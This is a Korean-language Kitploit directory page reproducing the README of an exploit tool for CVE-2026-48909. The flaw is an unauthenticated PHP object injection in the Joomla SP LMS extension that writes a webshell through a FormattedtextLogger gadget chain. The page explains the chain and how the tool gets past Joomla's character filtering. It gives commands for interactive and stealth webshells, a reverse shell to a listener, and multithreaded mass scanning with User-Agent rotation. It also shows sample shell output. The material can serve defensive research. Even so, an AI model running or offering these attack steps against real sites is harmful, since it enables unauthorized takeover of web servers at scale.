Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-48909-Joomla-SP-Exploit — CVE-2026-48909 - Joomla SP LMS 확장 버전 <= 4.1.3에 대한 인증되지 않은 PHP 객체 인젝션에서 RCE로의 익스플로잇. lmsOrders 쿠키 역직렬화를 악용하여 Joomla FormattedtextLogger 가젯 체인을 통해 웹셸을 작성합니다. 대화형 셸, 경로 탐색 및 정리를 포함합니다. 승인된 보안 테스트 전용입니다. | Kitploit
도구/GitHubGitHub/cerberusmrxi/cve-2026-48909-joomla-sp-exploit
Vulnerability AnalysisCode AnalysisExploitationShellcodeWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed Teaming
Payload Development
Labs & Practice
GitHubcerberusmrxi/cve-2026-48909-joomla-sp-exploit

CVE-2026-48909-Joomla-SP-Exploit

CVE-2026-48909 - Joomla SP LMS 확장 버전 <= 4.1.3에 대한 인증되지 않은 PHP 객체 인젝션에서 RCE로의 익스플로잇. lmsOrders 쿠키 역직렬화를 악용하여 Joomla FormattedtextLogger 가젯 체인을 통해 웹셸을 작성합니다. 대화형 셸, 경로 탐색 및 정리를 포함합니다. 승인된 보안 테스트 전용입니다.

저장소 보기
221개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-48909

Joomla SP LMS — 인증되지 않은 PHP 객체 주입 → 원격 코드 실행

Python Version CVSS License Platform

CVE-2026-48909에 대한 개념 증명 평가 도구
저자: Sudeepa Wanigarathna

joomla1

[!IMPORTANT] 승인된 사용만 허용됩니다. 이 도구는 보안 연구, 교육, 그리고 귀하가 소유하거나 명시적 서면 허가를 받은 시스템 테스트를 위한 것입니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 저자는 오용에 대한 책임을 부인합니다.


목차

  • 개요
  • 취약점 세부 정보
  • 기능
  • 설치
  • 빠른 시작
  • 사용 가이드
  • 명령어 참조
  • 페이로드 유형
  • 공격 체인
  • 출력 예시
  • 문제 해결
  • 저장소 구조
  • 버전 이력
  • 면책 조항
  • 저자

개요

CVE-2026-48909는 Joomla SP LMS 확장 프로그램에서 발생하는 치명적인 인증되지 않은 PHP 객체 주입 취약점입니다. 이 도구는 완전한 공격 체인을 구현하여 보안 전문가가 실험실 또는 승인된 환경에서 영향을 검증할 수 있도록 합니다.

탐지, 경로 발견, 페이로드 전달, 대화형 사후 침투 (허가된 경우), 대량 평가, 선택적 정리 등을 포함합니다.


취약점 세부 정보

속성값
CVE IDCVE-2026-48909
CVSS9.5 (치명적)
공격 경로네트워크 — 인증 불필요
영향원격 코드 실행
영향 받는 제품Joomla SP LMS
영향 받는 버전1.0.0 – 4.1.3
패치된 버전SP LMS 4.1.4+
가젯 체인Joomla < 5.2.2 필요

호환성 매트릭스

구성 요소버전원격 코드 실행
SP LMS< 4.1.4취약
SP LMS≥ 4.1.4패치됨
Joomla< 5.2.2가젯 체인 사용 가능
Joomla≥ 5.2.2가젯 체인 패치됨

기능

핵심

기능설명
인증되지 않은 익스플로잇자격 증명 불필요
다중 페이로드7가지 웹쉘/실행 변형
대화형 셸배포 후 명령 히스토리 세션
경로 발견자동 쓰기 가능 경로 프로빙
정리테스트 후 배포된 웹쉘 제거

평가 및 운영

기능설명
대량 스캐닝다중 스레드 대상 목록 (1000+)
프록시 지원HTTP/SOCKS (Burp, ZAP 등)
리버스 셸리스너 기반 페이로드
스텔스 모드헤더/POST 기반 명령 채널
랜덤화UUID 셸 이름, User-Agent 순환
보고JSON, HTML 또는 CSV로 내보내기
탐지 지원Joomla 버전 확인, --check-only, --safe-mode

우회 참고 사항

  • 가능한 경우 Joomla의 cmd 필터에 의해 차단되는 문자 회피
  • PHP 쓰기 경로를 16진수로 인코딩하여 base64 패딩/슬래시 문제 완화
  • 설정 가능한 지연 및 순환 User-Agent
  • 여러 주입/경로 후보에 걸친 재시도 로직

설치

전제 조건

  • Python 3.6+
  • pip
  • 테스트 대상에 대한 네트워크 접근 가능

설정

root@kitploit:~
cd exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt

python3 "CVE-2026-48909 v3.0.py" --help

의존성

root@kitploit:~
requests>=2.31.0
urllib3>=2.0.0

argparse는 Python 표준 라이브러리에 포함되어 있으므로 pip로 설치할 필요가 없습니다.


빠른 시작

https://target.example를 실험실 또는 승인된 대상으로만 바꿔 사용하세요.

단일 대상 — 경로 발견 + 대화형 셸

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

안전 점검 (익스플로잇 없음)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

대량 스캔

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html

리버스 셸 (승인된 실험실)

root@kitploit:~
# 리스너
nc -lvnp 4444

# 익스플로잇 호스트
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path \
  --shell-type reverse \
  --reverse-host 192.168.1.100 \
  --reverse-port 4444

사용 가이드

경로 발견

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path

알려진 쓰기 가능 경로

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php

대화형 세션

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive

단일 명령 실행

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

스텔스 페이로드 + 대화형

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive

프록시 (Burp / ZAP)

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example \
  --find-path --interactive \
  --proxy http://127.0.0.1:8080 \
  --insecure

정리

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php

대상 목록 형식

root@kitploit:~
https://lab-a.example
https://lab-b.example
https://lab-c.example
root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json

명령어 참조

대상

인자설명
target단일 대상 URL
--targets, -T FILE대상 목록 파일 (한 줄에 하나의 URL)
--path PATH웹쉘의 절대 서버 경로
--shell-type TYPEminimal, standard, stealth, base64, full, reverse, blindshell
--shell-name NAME웹쉘 파일명 (기본값: x.php)

네트워크

인자설명
--timeout SECONDS요청 제한 시간 (기본값: 15)
--insecureTLS 인증서 확인 건너뜀
--proxy URL예: http://127.0.0.1:8080
--random-uaUser-Agent 순환 (기본 활성화)
--delay SECONDS요청 간 지연 시간

리버스 셸

인자설명
--reverse-host HOST리스너 호스트
--reverse-port PORT리스너 포트

모드

인자설명
--interactive, -i배포 후 대화형 셸
--check-only취약점 확인 전용
--safe-mode비파괴적 테스트
--find-path쓰기 가능 경로 자동 발견
--cmd COMMAND단일 명령 실행 후 종료
--cleanup PATH경로의 웹쉘 제거
--cleanup-after익스플로잇 후 정리

대량 스캔 / 보고

인자설명
--threads NUM작업자 스레드 수 (기본값: 10)
--export FILE결과 출력 경로
--export-format FORMATjson, html, csv (기본값: json)

로깅

인자설명
--log-file FILE로그를 파일로 저장
--quiet, -q조용한 모드
--verbose, -v상세 출력
--no-banner배너 숨김

페이로드 유형

유형동작일반적인 사용 사례
minimal간결한 GET 기반 실행제한된 공간 / 빠른 테스트
standardGET + POST cmd (기본값)일반적인 평가
stealthX-Cmd 헤더를 통한 명령URL 로깅 최소화
base64POST를 통한 eval(base64_decode(...))필터 우회 실험실
fullGET/POST + base64 채널더 넓은 제어
reverse연결-백 셸지속적인 실험실 접근
blindshell대체 포함/실행 패턴제한된 환경
root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
  --reverse-host 10.0.0.1 --reverse-port 4444 --find-path

공격 체인

root@kitploit:~
flowchart TD
    A["공격자가 제어하는 lmsOrders 쿠키"] --> B["cart.php의 unserialize()"]
    B --> C["FormattedtextLogger::__destruct()"]
    C --> D["File::write() — PHP 드롭"]
    D --> E["디스크에 웹쉘 저장"]
    E --> F["원격 명령 실행"]

기술 요약

  1. 싱크 — components/com_splms/models/cart.php가 base64로 디코딩된 lmsOrders 쿠키를 역직렬화합니다.
  2. 가젯 — Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct()가 파일 시스템 쓰기를 유발합니다.
  3. 페이로드 — PHP 본문을 16진수로 인코딩하고 길이를 패딩하여 필터링된 base64 문자 (/, =, +)를 회피합니다.
  4. 실행 — 드롭된 스크립트를 요청하여 OS 명령을 실행합니다.

입력 필터 우회 (개요)

Joomla의 cmd 필터는 /, =, +를 제거할 수 있습니다. 이 도구는 다음과 같이 보완합니다:

  • 쓰기 내용을 16진수로 인코딩
  • 직렬화/base64 형태를 패딩하여 불법 문자 회피
  • 필터 안전 페이로드가 생성될 때까지 후보 반복

출력 예시

대화형 세션

root@kitploit:~
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> whoami
www-data

shell> pwd
/var/www/html

shell> exit

JSON 내보내기 (형태)

root@kitploit:~
{
  "timestamp": "2026-07-16T10:30:00.123456",
  "target": "https://lab.example",
  "shell_path": "/tmp/x_abc123def.php",
  "shell_url": "https://lab.example/tmp/x_abc123def.php",
  "shell_type": "standard",
  "vulnerable": true,
  "exploited": true,
  "joomla_version": "4.3.2",
  "detected_paths": [
    "/tmp/x_abc123def.php",
    "/images/x_abc123def.php",
    "/cache/x_abc123def.php"
  ],
  "author": "Sudeepa Wanigarathna",
  "tool_version": "3.0"
}

단일 명령 실행

root@kitploit:~
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"

문제 해결

증상시도할 조치
필터 안전 페이로드를 생성할 수 없음다른 --path 또는 --find-path 사용; 비정상적인 경로 문자 회피
셸 확인 실패--timeout 증가; --shell-type standard 시도; system() 등 비활성화 확인; 쓰기 가능 여부 확인
대상이 취약하지 않은 것으로 보임SP LMS ≤ 4.1.3, Joomla < 5.2.2, com_splms 존재; WAF 차단 확인
HTTP 500--insecure, --timeout 30, 애플리케이션/서버 로그 검토
프록시 연결 거부프록시 수신 확인; URL 스킴/호스트/포트 올바른지 확인
TLS 검증 실패인증서가 손상된 실험실 엔드포인트에 대해 --insecure 추가

디버그 워크플로우

root@kitploit:~
# 상세 출력 + 파일 로그
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log

# Burp를 통한 통신
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
  --proxy http://127.0.0.1:8080 --insecure -v

# 먼저 비파괴적 테스트
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode

저장소 구조

root@kitploit:~
exploit/
├── CVE-2026-48909 v3.0.py   # 메인 도구 (v3.0)
├── requirements.txt         # Python 의존성
├── README.md                # 이 파일
└── venv/                    # 로컬 가상 환경 (선택 사항, 커밋되지 않음)

공개 배포를 위한 선택적 추가:

root@kitploit:~
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh

버전 이력

v3.0.0 — 얼티밋 에디션 (2026년 7월)

  • 스레딩을 통한 대량 스캔
  • HTTP/SOCKS 프록시 지원
  • 리버스 셸 페이로드
  • WAF 우회 지원
  • 대화형 스텔스 셸
  • 자동 정리 옵션
  • JSON / HTML / CSV 보고
  • 확장된 쓰기 가능 경로 목록
  • Joomla 버전 탐지 지원
  • 안전 모드 및 User-Agent 순환
  • 구성 가능한 요청 지연

v2.1 — 프로페셔널 에디션 (2026년 7월)

  • 페이로드 생성 수정
  • 더 강력한 오류 처리 및 로깅

면책 조항

이 프로젝트는 있는 그대로 방어적 보안 연구 및 승인된 침투 테스트를 위해 제공됩니다.

이 소프트웨어를 사용함으로써 귀하는 다음에 동의합니다:

  1. 귀하가 소유하거나 테스트할 명시적 권한이 있는 시스템만 대상으로 삼습니다.
  2. 해당 컴퓨터 남용 및 데이터 보호 법률을 이해합니다.
  3. 저자와 기여자는 오용으로 인한 손해, 데이터 손실 또는 법적 결과에 대해 책임을 지지 않습니다.

이 취약점을 실제 환경에서 발견한 경우, 책임 있는 공개 절차를 따르고 적절한 경우 공급업체/CERT와 협력하십시오.


저자

Sudeepa Wanigarathna
보안 연구원 · 윤리적 해킹 · 취약점 연구 · Python 도구 개발


지원

  • 연구에 도움이 되면 저장소에 별표를 눌러주세요
  • 버그나 오탐지는 이슈를 열어주세요
  • 문서, 탐지 정확도, 승인된 실험실 UX에 대한 PR을 환영합니다

승인된 보안 테스트 전용입니다.

도구 다운로드